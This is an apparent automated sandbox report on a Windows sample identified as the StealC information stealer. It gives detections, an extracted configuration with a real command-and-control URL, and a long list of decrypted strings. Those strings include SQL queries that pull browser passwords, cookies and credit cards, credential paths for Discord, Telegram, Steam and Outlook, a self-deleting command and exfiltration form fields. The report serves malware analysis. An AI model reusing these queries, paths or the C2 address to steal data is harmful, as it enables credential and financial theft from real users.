Windows Analysis Report
file.exe

AV Detection

Source: file.exe

Avira: detected

Source: 0.2.file.exe.e10000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Source: file.exe

Virustotal: Detection: 43%

Perma Link

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: file.exe

Joe Sandbox ML: detected

Source: 0.2.file.exe.e10000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: 30
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: 11
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: 24
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: bksvnsj
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: /746f34465cf17784/
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: tale
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: history
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: History
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: open
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: files
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: browsers
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: done
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: https
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: build
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: token
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: file
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: message
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.e10000.0.unpack	String decryptor: screenshot.jpg

Cryptography

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E29030 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,		0_2_00E29030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E172A0 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,		0_2_00E172A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1A2B0 CryptUnprotectData,LocalAlloc,LocalFree,		0_2_00E1A2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1A210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,		0_2_00E1A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1C920 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,		0_2_00E1C920

Compliance

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2114793571.0000000004EAB000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2114793571.0000000004EAB000.00000004.00001000.00020000.00000000.sdmp

Spreading

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E240F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,		0_2_00E240F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,		0_2_00E1E530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E247C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,		0_2_00E247C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,		0_2_00E1F7B0
